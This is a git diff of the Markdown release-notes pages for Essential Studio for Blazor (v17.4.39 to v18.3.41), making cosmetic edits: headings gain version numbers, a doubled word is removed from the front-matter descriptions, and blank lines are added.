+# Essential Studio for Blazor Release Notes - v17.4.39
 {% include release-info.html date="December 17, 2019"  version="v17.4.39" %} 
 
 {% directory path: _includes/release-notes/v17.4.39 %}
diff --git a/blazor/Release-Notes/17.4.40.md b/blazor/Release-Notes/17.4.40.md
index 0c19a6348d..65c225ee88 100644
--- a/blazor/Release-Notes/17.4.40.md
+++ b/blazor/Release-Notes/17.4.40.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.4.40
 
 {% include release-info.html date="December 24, 2019"  version="v17.4.40" %} 
 
diff --git a/blazor/Release-Notes/17.4.41.md b/blazor/Release-Notes/17.4.41.md
index 7b298b5273..de1959459b 100644
--- a/blazor/Release-Notes/17.4.41.md
+++ b/blazor/Release-Notes/17.4.41.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.41 
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.41, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v17.4.41, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.4.41
 
 {% include release-info.html date="January 07, 2020"  version="v17.4.41" %} 
 
diff --git a/blazor/Release-Notes/17.4.42.md b/blazor/Release-Notes/17.4.42.md
index aacde0ed3f..42314fc4d0 100644
--- a/blazor/Release-Notes/17.4.42.md
+++ b/blazor/Release-Notes/17.4.42.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.4.42
 
 {% include release-info.html date="January 07, 2020"  version="v17.4.42" %} 
 
diff --git a/blazor/Release-Notes/17.4.43.md b/blazor/Release-Notes/17.4.43.md
index 34be0b6ee8..ff7ed4d2b3 100644
--- a/blazor/Release-Notes/17.4.43.md
+++ b/blazor/Release-Notes/17.4.43.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.43 
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.43, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v17.4.43, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.4.43
 
 {% include release-info.html date="January 14, 2020"  version="v17.4.43" %} 
 
diff --git a/blazor/Release-Notes/17.4.44.md b/blazor/Release-Notes/17.4.44.md
index 5e606dbcc9..41dac44367 100644
--- a/blazor/Release-Notes/17.4.44.md
+++ b/blazor/Release-Notes/17.4.44.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.44  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.44, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v17.4.44, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.4.44
 
 {% include release-info.html date="January 21, 2020"  version="v17.4.44" %} 
 
diff --git a/blazor/Release-Notes/17.4.46.md b/blazor/Release-Notes/17.4.46.md
index d6dd4296ca..e38a23939e 100644
--- a/blazor/Release-Notes/17.4.46.md
+++ b/blazor/Release-Notes/17.4.46.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor 2019 volume 4 SP1 Release Notes - v17.4.46
-description: Essential Studio for Blazor 2019 volume 4 SP1 Release Notes  
+description: Learn all about the Essential Studio for Blazor 2019 Volume 4 SP1 Release Notes v17.4.46, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.4.46
 
 {% include release-info.html date="January 30, 2020"  version="v17.4.46" %} 
 
diff --git a/blazor/Release-Notes/17.4.47.md b/blazor/Release-Notes/17.4.47.md
index bab13e476b..4978d2bc81 100644
--- a/blazor/Release-Notes/17.4.47.md
+++ b/blazor/Release-Notes/17.4.47.md
@@ -1,11 +1,12 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.47 
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.47, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v17.4.47, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio for Blazor  Release Notes - v17.4.47
+# Essential Studio for Blazor Release Notes - v17.4.47
+
 {% include release-info.html date="February 05, 2020"  version="v17.4.47" %} 
 
 {% directory path: _includes/release-notes/v17.4.47 %}
diff --git a/blazor/Release-Notes/17.4.49.md b/blazor/Release-Notes/17.4.49.md
index 3da57a0d7f..a3855ad094 100644
--- a/blazor/Release-Notes/17.4.49.md
+++ b/blazor/Release-Notes/17.4.49.md
@@ -1,11 +1,12 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.49  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.49, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v17.4.49, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
 # Essential Studio for Blazor  Release Notes - v17.4.49
+
 {% include release-info.html date="February 11, 2020"  version="v17.4.49" %} 
 
 {% directory path: _includes/release-notes/v17.4.49 %}
diff --git a/blazor/Release-Notes/17.4.50.md b/blazor/Release-Notes/17.4.50.md
index 39104bc4e5..e88e1e7d71 100644
--- a/blazor/Release-Notes/17.4.50.md
+++ b/blazor/Release-Notes/17.4.50.md
@@ -5,7 +5,8 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio for Blazor  Release Notes - v17.4.50
+# Essential Studio for Blazor Release Notes - v17.4.50
+
 {% include release-info.html date="February 18, 2020"  version="v17.4.50" %} 
 
 {% directory path: _includes/release-notes/v17.4.50 %}
diff --git a/blazor/Release-Notes/17.4.51.md b/blazor/Release-Notes/17.4.51.md
index 271c4c635c..9dbdf11cb9 100644
--- a/blazor/Release-Notes/17.4.51.md
+++ b/blazor/Release-Notes/17.4.51.md
@@ -1,11 +1,12 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.51  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.51, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v17.4.51, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
 # Essential Studio for Blazor  Release Notes - v17.4.51
+
 {% include release-info.html date="February 25, 2020"  version="v17.4.51" %} 
 
 {% directory path: _includes/release-notes/v17.4.51 %}
diff --git a/blazor/Release-Notes/17.4.53.md b/blazor/Release-Notes/17.4.53.md
index e3b8a5bcd9..b8f93ede06 100644
--- a/blazor/Release-Notes/17.4.53.md
+++ b/blazor/Release-Notes/17.4.53.md
@@ -1,11 +1,12 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.53  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.53, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v17.4.53, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
 # Essential Studio for Blazor  Release Notes - v17.4.53
+
 {% include release-info.html date="March 3, 2020"  version="v17.4.53" %} 
 
 {% directory path: _includes/release-notes/v17.4.53 %}
diff --git a/blazor/Release-Notes/17.4.54.md b/blazor/Release-Notes/17.4.54.md
index 50caa4baec..5915f5bc8e 100644
--- a/blazor/Release-Notes/17.4.54.md
+++ b/blazor/Release-Notes/17.4.54.md
@@ -1,11 +1,12 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.54 
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.54, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v17.4.54, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
 # Essential Studio for Blazor  Release Notes - v17.4.54
+
 {% include release-info.html date="March 3, 2020"  version="v17.4.54" %} 
 
 {% directory path: _includes/release-notes/v17.4.54 %}
diff --git a/blazor/Release-Notes/17.4.55.md b/blazor/Release-Notes/17.4.55.md
index a0e769eeff..d80c9fd66d 100644
--- a/blazor/Release-Notes/17.4.55.md
+++ b/blazor/Release-Notes/17.4.55.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.55
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.55, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v17.4.55, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.4.55
 
 {% include release-info.html date="March 10, 2020"  version="v17.4.55" %} 
 
diff --git a/blazor/Release-Notes/18.1.36.md b/blazor/Release-Notes/18.1.36.md
index c0ee884454..2d42945033 100644
--- a/blazor/Release-Notes/18.1.36.md
+++ b/blazor/Release-Notes/18.1.36.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor 2020 volume 1 Beta Release Notes -v18.1.36
-description: Essential Studio for Blazor 2020 volume 1 Beta Release Notes  
+description: Learn all about the Essential Studio for Blazor 2020 Volume 1 Beta Release Notes v18.1.36, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.36
 
 {% include release-info.html date="March 19, 2020"  version="v18.1.36" %} 
 
diff --git a/blazor/Release-Notes/18.1.42.md b/blazor/Release-Notes/18.1.42.md
index e92bd97856..083f386c6c 100644
--- a/blazor/Release-Notes/18.1.42.md
+++ b/blazor/Release-Notes/18.1.42.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor 2020 volume 1 Main Release Notes -v18.1.42
-description: Essential Studio for Blazor 2020 volume 1 Main Release Notes  
+description: Learn all about the Essential Studio for Blazor 2020 Volume 1 Main Release Notes v18.1.42, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.42
 
 {% include release-info.html date="April 1, 2020"  version="v18.1.42" %} 
 
diff --git a/blazor/Release-Notes/18.1.43.md b/blazor/Release-Notes/18.1.43.md
index 8e330f8852..423b71024b 100644
--- a/blazor/Release-Notes/18.1.43.md
+++ b/blazor/Release-Notes/18.1.43.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.43 
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.43, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.1.43, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.43
 
 {% include release-info.html date="April 7, 2020"  version="v18.1.43" %} 
 
diff --git a/blazor/Release-Notes/18.1.44.md b/blazor/Release-Notes/18.1.44.md
index a38b0ba529..16f9c0ad38 100644
--- a/blazor/Release-Notes/18.1.44.md
+++ b/blazor/Release-Notes/18.1.44.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.44  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.44, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.1.44, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.44
 
 {% include release-info.html date="April 14, 2020"  version="v18.1.44" %} 
 
diff --git a/blazor/Release-Notes/18.1.45.md b/blazor/Release-Notes/18.1.45.md
index ebface3672..fff738b80f 100644
--- a/blazor/Release-Notes/18.1.45.md
+++ b/blazor/Release-Notes/18.1.45.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.45  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.45, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.1.45, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.45
 
 {% include release-info.html date="April 21, 2020"  version="v18.1.45" %} 
 
diff --git a/blazor/Release-Notes/18.1.46.md b/blazor/Release-Notes/18.1.46.md
index 672b555ba8..56cd7631a2 100644
--- a/blazor/Release-Notes/18.1.46.md
+++ b/blazor/Release-Notes/18.1.46.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.46
 
 {% include release-info.html date="April 28, 2020"  version="v18.1.46" %} 
 
diff --git a/blazor/Release-Notes/18.1.48.md b/blazor/Release-Notes/18.1.48.md
index a30b2d23bf..d380011b52 100644
--- a/blazor/Release-Notes/18.1.48.md
+++ b/blazor/Release-Notes/18.1.48.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.48
 
 {% include release-info.html date="May 5, 2020"  version="v18.1.48" %} 
 
diff --git a/blazor/Release-Notes/18.1.52.md b/blazor/Release-Notes/18.1.52.md
index 42994e64bb..d206c1813a 100644
--- a/blazor/Release-Notes/18.1.52.md
+++ b/blazor/Release-Notes/18.1.52.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for Blazor 2020 volume 1 SP1 Release Notes  
-description: Essential Studio for Blazor 2020 volume 1 SP1 Release Notes  
+title: Essential Studio for Blazor 2020 volume 1 SP1 Release Notes - v18.1.52
+description: Learn all about the Essential Studio for Blazor 2020 Volume 1 SP1 Release Release Notes v18.1.52, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.52
 
 {% include release-info.html date="May 13, 2020"  version="v18.1.52" %} 
 
diff --git a/blazor/Release-Notes/18.1.53.md b/blazor/Release-Notes/18.1.53.md
index 884ef66e2a..1a3b799bfe 100644
--- a/blazor/Release-Notes/18.1.53.md
+++ b/blazor/Release-Notes/18.1.53.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.53
 
 {% include release-info.html date="May 19, 2020"  version="v18.1.53" %} 
 
diff --git a/blazor/Release-Notes/18.1.54.md b/blazor/Release-Notes/18.1.54.md
index bf6dacdb7d..8dbb3bc983 100644
--- a/blazor/Release-Notes/18.1.54.md
+++ b/blazor/Release-Notes/18.1.54.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.54  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.54, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.1.54, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.54
 
 {% include release-info.html date="May 27, 2020"  version="v18.1.54" %} 
 
diff --git a/blazor/Release-Notes/18.1.55.md b/blazor/Release-Notes/18.1.55.md
index b2f4c05292..0d5e8f0752 100644
--- a/blazor/Release-Notes/18.1.55.md
+++ b/blazor/Release-Notes/18.1.55.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.55
 
 {% include release-info.html date="June 2, 2020"  version="v18.1.55" %} 
 
diff --git a/blazor/Release-Notes/18.1.56.md b/blazor/Release-Notes/18.1.56.md
index ff0a5ff04c..3f45c29529 100644
--- a/blazor/Release-Notes/18.1.56.md
+++ b/blazor/Release-Notes/18.1.56.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.56
 
 {% include release-info.html date="June 9, 2020"  version="v18.1.56" %} 
 
diff --git a/blazor/Release-Notes/18.1.57.md b/blazor/Release-Notes/18.1.57.md
index 0ccc868c0e..1dd7576d61 100644
--- a/blazor/Release-Notes/18.1.57.md
+++ b/blazor/Release-Notes/18.1.57.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.57
 
 {% include release-info.html date="June 16, 2020"  version="v18.1.57" %} 
 
diff --git a/blazor/Release-Notes/18.1.58.md b/blazor/Release-Notes/18.1.58.md
index 8ba5e7fb2c..5c1e895e3d 100644
--- a/blazor/Release-Notes/18.1.58.md
+++ b/blazor/Release-Notes/18.1.58.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.58
 
 {% include release-info.html date="June 17, 2020"  version="v18.1.58" %} 
 
diff --git a/blazor/Release-Notes/18.1.59.md b/blazor/Release-Notes/18.1.59.md
index b958e5de0c..dfe24fd869 100644
--- a/blazor/Release-Notes/18.1.59.md
+++ b/blazor/Release-Notes/18.1.59.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.1.59
 
 {% include release-info.html date="June 23, 2020"  version="v18.1.59" %} 
 
diff --git a/blazor/Release-Notes/18.2.44.md b/blazor/Release-Notes/18.2.44.md
index 5a3b54fca3..83b195d040 100644
--- a/blazor/Release-Notes/18.2.44.md
+++ b/blazor/Release-Notes/18.2.44.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.2.44
 
 {% include release-info.html date="July 7, 2020"  version="v18.2.44" %} 
 
diff --git a/blazor/Release-Notes/18.2.45.md b/blazor/Release-Notes/18.2.45.md
index 935fd278d6..66abdfa908 100644
--- a/blazor/Release-Notes/18.2.45.md
+++ b/blazor/Release-Notes/18.2.45.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.2.45
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.2.45, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.2.45, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.2.45
 
 {% include release-info.html date="July 14, 2020"  version="v18.2.45" %} 
 
diff --git a/blazor/Release-Notes/18.2.46.md b/blazor/Release-Notes/18.2.46.md
index c3b81cdb48..08c59e4bc0 100644
--- a/blazor/Release-Notes/18.2.46.md
+++ b/blazor/Release-Notes/18.2.46.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.2.46
 
 {% include release-info.html date="July 21, 2020"  version="v18.2.46" %} 
 
diff --git a/blazor/Release-Notes/18.2.47.md b/blazor/Release-Notes/18.2.47.md
index 5fbc40c0ae..55f2976f02 100644
--- a/blazor/Release-Notes/18.2.47.md
+++ b/blazor/Release-Notes/18.2.47.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.2.47
 
 {% include release-info.html date="July 28, 2020"  version="v18.2.47" %} 
 
diff --git a/blazor/Release-Notes/18.2.48.md b/blazor/Release-Notes/18.2.48.md
index 6494770262..4ab0732257 100644
--- a/blazor/Release-Notes/18.2.48.md
+++ b/blazor/Release-Notes/18.2.48.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.2.48  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.2.48, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.2.48, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.2.48
 
 {% include release-info.html date="August 4, 2020"  version="v18.2.48" %} 
 
diff --git a/blazor/Release-Notes/18.2.54.md b/blazor/Release-Notes/18.2.54.md
index af05f7295a..6e1ca856b9 100644
--- a/blazor/Release-Notes/18.2.54.md
+++ b/blazor/Release-Notes/18.2.54.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.2.54  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.2.54, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.2.54, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.2.54
 
 {% include release-info.html date="August 18, 2020"  version="v18.2.54" %} 
 
diff --git a/blazor/Release-Notes/18.2.55.md b/blazor/Release-Notes/18.2.55.md
index a4e38ee10c..a9d75f1f76 100644
--- a/blazor/Release-Notes/18.2.55.md
+++ b/blazor/Release-Notes/18.2.55.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.2.55
 
 {% include release-info.html date="August 25, 2020"  version="v18.2.55" %} 
 
diff --git a/blazor/Release-Notes/18.2.56.md b/blazor/Release-Notes/18.2.56.md
index 36e644df33..1e3e8af252 100644
--- a/blazor/Release-Notes/18.2.56.md
+++ b/blazor/Release-Notes/18.2.56.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.2.56
 
 {% include release-info.html date="September 1, 2020"  version="v18.2.56" %} 
 
diff --git a/blazor/Release-Notes/18.2.57.md b/blazor/Release-Notes/18.2.57.md
index 03b41aca37..cf7a901898 100644
--- a/blazor/Release-Notes/18.2.57.md
+++ b/blazor/Release-Notes/18.2.57.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.2.57
 
 {% include release-info.html date="September 8, 2020"  version="v18.2.57" %} 
 
diff --git a/blazor/Release-Notes/18.2.58.md b/blazor/Release-Notes/18.2.58.md
index 8565164273..7be2a2c6fe 100644
--- a/blazor/Release-Notes/18.2.58.md
+++ b/blazor/Release-Notes/18.2.58.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.2.58  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.2.58, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.2.58, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.2.58
 
 {% include release-info.html date="September 15, 2020"  version="v18.2.58" %} 
 
diff --git a/blazor/Release-Notes/18.2.59.md b/blazor/Release-Notes/18.2.59.md
index 728a197afd..eddbb3b2f6 100644
--- a/blazor/Release-Notes/18.2.59.md
+++ b/blazor/Release-Notes/18.2.59.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.2.59
 
 {% include release-info.html date="September 22, 2020"  version="v18.2.59" %} 
 
diff --git a/blazor/Release-Notes/18.3.35.md b/blazor/Release-Notes/18.3.35.md
index 6a1295b885..ad095f3f96 100644
--- a/blazor/Release-Notes/18.3.35.md
+++ b/blazor/Release-Notes/18.3.35.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.3.35
 
 {% include release-info.html date="October 1, 2020"  version="v18.3.35" %} 
 
diff --git a/blazor/Release-Notes/18.3.38.md b/blazor/Release-Notes/18.3.38.md
index 45a96a8dc9..e74855aa46 100644
--- a/blazor/Release-Notes/18.3.38.md
+++ b/blazor/Release-Notes/18.3.38.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.3.38
 
 {% include release-info.html date="October 7, 2020"  version="v18.3.38" %} 
 
diff --git a/blazor/Release-Notes/18.3.40.md b/blazor/Release-Notes/18.3.40.md
index fa98a6a865..0871f14e3e 100644
--- a/blazor/Release-Notes/18.3.40.md
+++ b/blazor/Release-Notes/18.3.40.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.3.40  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.3.40, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.3.40, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.3.40
 
 {% include release-info.html date="October 13, 2020"  version="v18.3.40" %} 
 
diff --git a/blazor/Release-Notes/18.3.41.md b/blazor/Release-Notes/18.3.41.md
index c3c67325af..76e0dc4e85 100644
--- a/blazor/Release-Notes/18.3.41.md
+++ b/blazor/Release-Notes/18.3.41.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.3.41  
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.3.41, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v18.3.41, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v18.3.41
 
 {% include release-info.html date="October 15, 2020"  version="v18.3.41" %} 
 
